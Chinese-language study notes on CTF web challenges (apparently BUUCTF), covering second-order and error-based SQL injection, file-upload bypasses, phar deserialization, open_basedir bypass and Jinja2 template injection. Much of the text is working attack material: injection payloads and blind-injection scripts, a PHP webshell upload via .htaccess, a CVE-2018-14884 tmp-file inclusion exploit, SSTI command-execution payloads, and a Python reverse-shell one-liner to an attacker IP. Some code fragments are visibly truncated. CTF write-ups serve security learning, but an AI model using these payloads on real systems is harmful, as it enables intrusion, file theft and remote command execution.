考点:
- 二次注入
- 报错注入
- 正则表达式查找
- reverse函数
学到的知识点:
- 二次注入原理
- 二次注入的标志:
(1)可以自行注册用户(这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等))
(2)可以使用修改密码等(二次注入的利用,本题中是利用了报错注入)
- 报错注入:利用正则表达式搜索需要的值,select * from xx where xxx regexp ‘正则表达式’
例如:
查找f开头的值(因为答案是flag{xxxx-xxx}的格式)
asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#
- 报错注入:如果报错注入显示不全,可以使用reverse来反转显示
例如:
asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#
题解,题解2
考点:
- 二次注入
- update的sql注入
- mysql中的load_file函数用法
学到的知识点:
- 二次注入的核心思想:第一次构造payload的时候由于预编译等原因无法直接获取信息,但是由于网站提供其他的功能时(如修改、删除等),用到了第一次构造的payload,导致被注入。
一般利用二次注入的话,都需要多次“注册用户”。
- update的注入方法:
原sql语句:update user set address=‘xx’, old_address=‘xx’ where user_id=‘xx’;
令old_address的xx=',`address`=database()#
sql语句变为:update user set address=‘xx’, old_address=‘’,`address`=database()# where user_id=‘xx’;
即:update user set `address`=database()
然后再去用select语句访问address就可以得到database()了。
- MySQL的LOAD_FILE(file_name)函数:读取一个文件并将其内容作为字符串返回,如读取flag文件等
user_name=ez4&phone=ez4&address=',`address`=(select(load_file(“/flag.txt”)))#
题解(基于查找的方法,即上面update注入方法中提到的),题解2(基于报错的方法,另外一种update注入方法)
学到的知识点:
- 单引号的绕过:可以使用转义字符\来绕过,一般会给两个参数,用第二个参数来盲注。
- addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串。
预定义字符:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
- JFIF:一种图片格式,全称(JPEG File Interchange Format)。如果盲注时,页面返回了图片,可以用burpsuite抓包,看看返回图片的类型,比如这道题就是JFIF,所以这就有了盲注成功的依据,那就是
if “JFIF” in r.text
- 如果发现上传文件时,无论上传什么格式的文件,最后都是显示上传了一个php文件,那么可以尝试将一句话木马放在上传的文件名。(因为很有可能是将上传的文件名存入了预定义好的php文件的内容里面了)
题解
考点:
- information.schema.tables的替代表
- 无列名注入
- 布尔盲注
学到的知识点:
- sys.x$schema_flattened_keys和sys.schema_table_statistics_with_buffer可以替换information_schema.tables,这是有关bypass information_schema的一些方法
- 无列名注入:
payload:1^((字段1,字段2,…)>(select * from 目标表))注意点:前面的字段 数量 和 位置 要和后面一致
下面给出无列名注入的脚本:
import requests
import time
url = '网址'
payload_flag = '1^((1,\'{}\')>(select * 表名))'
flag = ''
for i in range(1, 100):
time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
k = flag + chr(mid)
payload = payload_flag.format(k)
data = {"id": payload}
print(low,high,mid,":")
r = requests.post(url=url, data=data)
if 'Nu1L' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 33: # mid in [32,128)
break
flag += chr(mid - 1) # mid是刚好大于正确flag的值,mid-1才是等于正确flag的值
print(flag.lower()) # 因为出来的flag是大写,这边全部转为小写
print(flag.lower())
题解1(博客底下的注意点写的很好),题解2(脚本写的比较好)
考点:
- 弱口令爆破
- git泄露、git恢复
- sql二次注入
学到的知识点:
- sql二次注入的特征:
(1)网站有可以插入的地方,比如留言板之类的
(2)会有一次插入数据的sql语句执行
(3)取出第一次插入的数据时会导致当前sql语句的含义发生变化
- sql中的多行注释为/**/
- select load_file(‘文件绝对路径’)这条sql语句可以读取文件信息,常见的比如:
- 读/etc/init.d下的东西,这里有配置文件路径
select 1,2,load_file(‘/etc/init.d/httpd’)- 得到web安装路径
select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)- 读取密码文件
select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)- 读取系统所有用户密码
select (load_file(‘/etc/passwd’))- 当文件过大无法读取时,可以将其输出为16进制编码:
select hex(load_file(“/etc/passwd”))
16进制在线转换器
- 每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。路径为:/home/username/.bash_history
- .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
- git命令
- 查看之前提交的版本:
git log --all
- 恢复之前的版本:
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
题解
考点:
- 二次注入
- mysql中+的运算方法
- substr的两种用法
学到的知识点:
- 二次注入出现的特征:register.php中会多出一个字段,login.php时会少一个字段,但是登录进去之后,页面会显示另外一个字段。例如注册时用:{邮箱,用户名,密码},登陆时只使用:{邮箱,密码},登录进页面之后显示用户名
select '1'+'1a'
的运行结果为2
;select '0'+database();
的运行结果为0
;select '0'+ascii(substr(database(),1,1));
的运行结果为数据库的第一个字符的ascii码。- substr的使用方法有两种,第二种方法可以用来绕过逗号的过滤:
- substr(database(),1,1)
- substr(database() from 1 for 1)
- 二次注入的python脚本:
import requests
import re
from time import sleep
def search_flag():
flag = ''
url = 'http://20287d47-308a-4849-9994-34037e26fd2a.node4.buuoj.cn:81'
url1 = url + '/register.php'
url2 = url + '/login.php'
for i in range(100):
sleep(0.3)
data1 = {'email': '1234{}@qqqq.com'.format(i), 'username':"0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), 'password':'123'}
# data1 = {"email": "1234{}@qqqq.com".format(i),"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password": "123"}
data2 = {'email': '1234{}@qqqq.com'.format(i),'password':'123'}
r1 = requests.post(url1,data=data1)
r2 = requests.post(url2,data=data2)
print(r2.text)
result1 = re.search(r'\s*(\d*)\s*',r2.text)
result2 = re.search(r'\d+',result1.group())
flag += chr(int(result2.group()))
print(flag)
if __name__ == '__main__':
search_flag()
题解
考点:
- 文件上传漏洞绕过文件头检查方法
- 在网页源代码中查找上传文件的路径
学到的知识点:
- exif_imagetype函数:读取一个图像的第一个字节并检查其签名。
绕过方法:给文件加一个图像的头即可。gif文件就是GIF89a
- 查找上传文件路径的方法:如果上传的文件在页面上有显示,可以按F12打开开发者工具,选中该位置,看该标签的src属性
题解
考点:
- php7 segment fault特性(CVE-2018-14884)
- 文件包含漏洞
- 网站目录扫描
- POST方法上传文件
学到的知识点:
- php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = ""
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
- GET数据包构造方法:
GET /flflflflag.php?file=/tmp/phppvB8A6 HTTP/1.1 Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
- POST数据包构造方法:
POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1 Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded Content-Length: 14 cmd=phpinfo();
整体思路:
- 由于flflflflag.php存在文件包含漏洞,并且dir.php可以扫描/tmp目录,因此可以利用CVE-2018-14884漏洞。
- 使用POST方式上传一个一句话木马文件,该文件会存放到/tmp目录下
- 访问dir.php文件,扫描一下/tmp目录,获得上传的木马文件的文件名
- 再利用flflflflag.php中的文件包含漏洞包含该文件,这样就可以执行该木马文件
题解
思路:
- 首先观察源代码,发现存在危险函数eval,然后再看上面存在一个get_the_flag函数,可以想到,使用eval来执行这个函数来得到flag
- 为了得到eval(get_the_flag()),我们要让$hhh=get_the_flag(),但是源码中对$hhh进行了限制:
(1)首先长度不能超过18
(2)不能是数字,不能是字母,也不能是它规定的一些特殊字符
(3)字符种类不能超过12种
- 上面的限制中最难绕过的就是第2条,这里有包括绕过无数字无字母限制的方法。再考虑到第1条和第3条限制,我们不能简单的讲get_the_flag直接进行异或绕过,这里使用这种方式传参
?_=${_GET}{%A0}();&%A0=get_the_flag
,这样一来,$hhh=${_GET}{%A0}()
,由于_GET只有四个字符,异或之后占9个字符(算上^符号),这样数来刚好是17个字符。异或之后字符种类也没超过12种。按照上面的方法构造脚本:
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
}
}}
echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已
?>
- 得到payload,
?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
- 构造脚本上传文件,这里对上传的文件有三条限制:
(1)后缀不能出现
ph
字符串(无论大小写)
(2)文本内容中不能出现
(3)上传的文件只能是image类型
- 第一条能通过上传.htaccess绕过,具体方法请看题解。第二条由于php版本的限制,因此不能使用
标签来绕过,因此想到使用编码的方式绕过。第三条只需要在文件头加上image的特殊标志即可。构造脚本:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
response = requests.post(url=url, files=files)
print(response.text)
files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, files=files)
print(response.text)
- 访问上传的文件,并传参
?cmd=phpinfo()
,从phpinfo()主页可以看到,由于open_basedir的限制,只可以读取/tmp的目录,不可以读取/etc的目录。这里需要绕过open_basedir。- payload1:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
- payload2:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
- 得到了flag
学到的知识点:
- 无数字无字母的绕过。正则表达式的切分和匹配:https://hiregex.com/
- .htaccess中利用php伪协议进行解码:
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
- .htaccess在头部定义图片大小来绕过exif_imagetype函数:
#define width 1000 #define height 1000
- phpinfo中会记载一些$_SERVER的信息
- 如果文件内容被base64编码了,那么使用绕过文件头检查时添加的GIF89a也要在添加两个填充字符,以满足base64编码规则。
- open_basedir绕过方法
题解
学到的知识点:
- 文件下载漏洞或者文件包含漏洞可以读取的文件:
- /proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
- /proc/pid/cwd 包含了当前进程工作目录的一个链接
- /proc/pid/environ 包含了可用进程环境变量的列表
- /proc/pid/exe 包含了正在进程中运行的程序链接
- /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接,该目录下文件都以数字作为文件名,因此如果想访问某个文件时,可通过爆破数字的方法访问,例如:/proc/pid/fd/1,/proc/pid/fd/2,…
- /proc/pid/mem 包含了进程在内存中的内容
- /proc/pid/stat 包含了进程的状态信息
- /proc/pid/statm 包含了进程的内存使用信息
注意:一般读取proc/self/…,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/
- python反弹shell的方法
攻击者:kali,ip为:192.168.0.4,开放7777端口且没被占用
(1)攻击主机登录:nc -lvp 7777
(2)受害者:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.0.4’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,‘-i’]);
题解
学到的知识点:
- 构造pop链的时候,除了要关注可能存在漏洞的函数,还要关注用户可控的输入在哪。
- 关注存在漏洞的函数:确定pop链的终点
- 关注用户可控的输入:确定pop链的起点
- 一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在 Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利 用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
phar反序列化- phar伪协议:
- 这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
- 用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
- 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub(''); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>
题解(pop链很清晰,代码有点问题),题解2(代码没问题,如上)
考点:
- php短标签
- php可在反引号``中执行系统命令
学到的知识点:
- 一句话木马正则绕过方法:如果源代码中用preg_match限制了php、eval等重要的一句话木马字符串,可以采用php短标签+反引号+命令执行来绕过
例如: =`ls\t/`?>、=`cat\t/flllllll1112222222lag`?>
其中用了:
(1)php短标签来绕过php的字符串限制
(2)直接用反引号将命令引起来直接执行,绕过了eval、;、_等限制
(3)使用\t绕过了空格限制,还有其他几种绕过命令中空格的方法:
${IFS}、$IFS$9、<、<>、,、%20、%09该方法的限制:
(1)没有过滤上述方法的相关的字符串,如=
(2)需要将该一句话木马写入php文件中才可执行。本题中使用file_put_contents写入了index.php文件
- preg_match一些常规的绕过方法
题解
考点:
- php://input的使用方法
- json_decode会将\uxxx(unicode编码)进行转义
学到的知识点:
- php://input的用法:
$a = file_get_contents("php://input"); echo $a; $b = json_decode($a); print_r($b);
- json_decode会将\uxxx(unicode编码)进行转义
//\u0070\u0068\u0070是php的unicode编码 $body = '{"page":"\u0070\u0068\u0070"}'; echo $body; $json = json_decode($body,true); echo "\n"; var_dump($json);
题解
学到的知识点:
题解
学到的知识点:
- 使用Arjun工具可以爆破网站参数
- Flask一般联想到jinja2模板漏洞,测试代码方式为
?参数名={{7*'7'}}
,如果返回7777777,则为jinja2模板- tplmap是专门用于攻击模板漏洞的工具
- jinja2常用的一些代码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('某文件路径','r').read() }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
利用方法
- 获取所有继承自object的类,并找到
的索引值,方法如下:
- a. 获取变量[]所属的类名
{{[].__class__}}
页面回显- b. 获取list所继承的基类名
{{[].__class__.__base__}}
页面回显- c. 获取所有继承自object的类
{{[].__class__.__base__.__subclasses__()}}
- 根据索引值来命令执行
{{[].__class__.__base__.__subclasses__()[索引].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('命令').read()")}}
常用命令有:ls
、cat flag.txt
利用方法,方法类似于
{{[].__class__.__base__.__subclasses__()[索引].__init__['__glo'+'bals__']['os'].popen('命令').read()}}
题解(包括目标文件flag.txt查找payload,tplmap使用),题解2(包括最终获取flag.txt的payload)
学到的知识点:
- RC4密码:
- RC4解密:
rc=rc4_Modified.RC4(密钥字符串) #解密 deS=rc.do_crypt(密文字符串)
- RC4加密:
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容 s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) key = "HereIsTreasure" #此处为密文 message = input("请输入明文:\n") enc_base64 = rc4_main( key , message ) enc_init = str(base64.b64decode(enc_base64),'utf-8') enc_url = parse.quote(enc_init) print("rc4加密后的url编码:"+enc_url) #print("rc4加密后的base64编码"+enc_base64)
- flask注入:
- 获取目录:
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}
- 获取flag:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}
题解
学到的知识点:
- 网页源代码审计
- 后台js代码审计
题解
sql语句的过滤
sql语句中一些常用的过滤绕过方法
代码执行函数和preg_match过滤函数:
浅谈PHP代码执行中出现过滤限制的绕过执行方法
常用preg_match绕过方法
无字母数字webshell总结